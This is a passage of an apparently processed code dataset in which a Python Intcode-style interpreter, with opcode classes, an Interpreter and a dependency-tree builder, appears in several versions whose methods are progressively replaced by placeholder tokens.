code, call):\n self.__ops[code] = call\n\n def as_opcodes(self):\n ops = [self.op_at(0)]\n ptr = ops[-1].ptr_inc()\n while ops[-1].op() != 'HALT':\n ops.append(self.op_at(ptr))\n ptr += ops[-1].ptr_inc()\n return ops\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n<class token>\n\n\nclass Opcode2(Opcode):\n \"\"\"\n\t>>> o = Opcode2([2, 2, 3, 4, 99], 0)\n\t>>> o.run()\n\tTrue\n\t>>> o.memory\n\t[2, 2, 3, 4, 12]\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 2, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first * self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n\n def reads(self):\n return [self.__first, self.__second]\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '*'\n\n def __str__(self):\n return 'loc[%d] = %d * %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode99(Opcode):\n \"\"\"\n\t>>> o = Opcode99([99,12,3,4,5], 0)\n\t>>> o.run()\n\tFalse\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 99, 1)\n\n def run(self):\n return False\n\n def params(self):\n return {}\n\n def reads(self):\n return []\n\n def writes(self):\n return None\n\n def op(self):\n return 'HALT'\n\n def __str__(self):\n return 'HALT'\n\n\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n\n def next_op(self):\n return self.op_at(self.__ptr)\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n\n def as_opcodes(self):\n ops = [self.op_at(0)]\n ptr = ops[-1].ptr_inc()\n while ops[-1].op() != 'HALT':\n ops.append(self.op_at(ptr))\n ptr += ops[-1].ptr_inc()\n return ops\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n<class token>\n\n\nclass Opcode2(Opcode):\n <docstring token>\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 2, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first * self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n\n def reads(self):\n return [self.__first, self.__second]\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '*'\n\n def __str__(self):\n return 'loc[%d] = %d * %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode99(Opcode):\n \"\"\"\n\t>>> o = Opcode99([99,12,3,4,5], 0)\n\t>>> o.run()\n\tFalse\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 99, 1)\n\n def run(self):\n return False\n\n def params(self):\n return {}\n\n def reads(self):\n return []\n\n def writes(self):\n return None\n\n def op(self):\n return 'HALT'\n\n def __str__(self):\n return 'HALT'\n\n\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n\n def next_op(self):\n return self.op_at(self.__ptr)\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n\n def as_opcodes(self):\n ops = [self.op_at(0)]\n ptr = ops[-1].ptr_inc()\n while ops[-1].op() != 'HALT':\n ops.append(self.op_at(ptr))\n ptr += ops[-1].ptr_inc()\n return ops\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n<class token>\n\n\nclass Opcode2(Opcode):\n <docstring token>\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 2, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first * self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n <function token>\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '*'\n\n def __str__(self):\n return 'loc[%d] = %d * %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode99(Opcode):\n \"\"\"\n\t>>> o = Opcode99([99,12,3,4,5], 0)\n\t>>> o.run()\n\tFalse\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 99, 1)\n\n def run(self):\n return False\n\n def params(self):\n return {}\n\n def reads(self):\n return []\n\n def writes(self):\n return None\n\n def op(self):\n return 'HALT'\n\n def __str__(self):\n return 'HALT'\n\n\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n\n def next_op(self):\n return self.op_at(self.__ptr)\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n\n def as_opcodes(self):\n ops = [self.op_at(0)]\n ptr = ops[-1].ptr_inc()\n while ops[-1].op() != 'HALT':\n ops.append(self.op_at(ptr))\n ptr += ops[-1].ptr_inc()\n return ops\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n<class token>\n\n\nclass Opcode2(Opcode):\n <docstring token>\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 2, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first * self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n <function token>\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '*'\n <function token>\n\n\nclass Opcode99(Opcode):\n \"\"\"\n\t>>> o = Opcode99([99,12,3,4,5], 0)\n\t>>> o.run()\n\tFalse\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 99, 1)\n\n def run(self):\n return False\n\n def params(self):\n return {}\n\n def reads(self):\n return []\n\n def writes(self):\n return None\n\n def op(self):\n return 'HALT'\n\n def __str__(self):\n return 'HALT'\n\n\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n\n def next_op(self):\n return self.op_at(self.__ptr)\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n\n def as_opcodes(self):\n ops = [self.op_at(0)]\n ptr = ops[-1].ptr_inc()\n while ops[-1].op() != 'HALT':\n ops.append(self.op_at(ptr))\n ptr += ops[-1].ptr_inc()\n return ops\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n<class token>\n\n\nclass Opcode2(Opcode):\n <docstring token>\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 2, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first * self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n <function token>\n <function token>\n\n def op(self):\n return '*'\n <function token>\n\n\nclass Opcode99(Opcode):\n \"\"\"\n\t>>> o = Opcode99([99,12,3,4,5], 0)\n\t>>> o.run()\n\tFalse\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 99, 1)\n\n def run(self):\n return False\n\n def params(self):\n return {}\n\n def reads(self):\n return []\n\n def writes(self):\n return None\n\n def op(self):\n return 'HALT'\n\n def __str__(self):\n return 'HALT'\n\n\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n\n def next_op(self):\n return self.op_at(self.__ptr)\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n\n def as_opcodes(self):\n ops = [self.op_at(0)]\n ptr = ops[-1].ptr_inc()\n while ops[-1].op() != 'HALT':\n ops.append(self.op_at(ptr))\n ptr += ops[-1].ptr_inc()\n return ops\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n<class token>\n\n\nclass Opcode2(Opcode):\n <docstring token>\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 2, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first * self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n <function token>\n <function token>\n <function token>\n <function token>\n\n\nclass Opcode99(Opcode):\n \"\"\"\n\t>>> o = Opcode99([99,12,3,4,5], 0)\n\t>>> o.run()\n\tFalse\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 99, 1)\n\n def run(self):\n return False\n\n def params(self):\n return {}\n\n def reads(self):\n return []\n\n def writes(self):\n return None\n\n def op(self):\n return 'HALT'\n\n def __str__(self):\n return 'HALT'\n\n\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n\n def next_op(self):\n return self.op_at(self.__ptr)\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n\n def as_opcodes(self):\n ops = [self.op_at(0)]\n ptr = ops[-1].ptr_inc()\n while ops[-1].op() != 'HALT':\n ops.append(self.op_at(ptr))\n ptr += ops[-1].ptr_inc()\n return ops\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n<class token>\n\n\nclass Opcode2(Opcode):\n <docstring token>\n <function token>\n\n def run(self):\n self.memory[self.__res] = self.__first * self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n <function token>\n <function token>\n <function token>\n <function token>\n\n\nclass Opcode99(Opcode):\n \"\"\"\n\t>>> o = Opcode99([99,12,3,4,5], 0)\n\t>>> o.run()\n\tFalse\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 99, 1)\n\n def run(self):\n return False\n\n def params(self):\n return {}\n\n def reads(self):\n return []\n\n def writes(self):\n return None\n\n def op(self):\n return 'HALT'\n\n def __str__(self):\n return 'HALT'\n\n\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n\n def next_op(self):\n return self.op_at(self.__ptr)\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n\n def as_opcodes(self):\n ops = [self.op_at(0)]\n ptr = ops[-1].ptr_inc()\n while ops[-1].op() != 'HALT':\n ops.append(self.op_at(ptr))\n ptr += ops[-1].ptr_inc()\n return ops\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n<class token>\n\n\nclass Opcode2(Opcode):\n <docstring token>\n <function token>\n\n def run(self):\n self.memory[self.__res] = self.__first * self.__second\n return True\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\nclass Opcode99(Opcode):\n \"\"\"\n\t>>> o = Opcode99([99,12,3,4,5], 0)\n\t>>> o.run()\n\tFalse\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 99, 1)\n\n def run(self):\n return False\n\n def params(self):\n return {}\n\n def reads(self):\n return []\n\n def writes(self):\n return None\n\n def op(self):\n return 'HALT'\n\n def __str__(self):\n return 'HALT'\n\n\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n 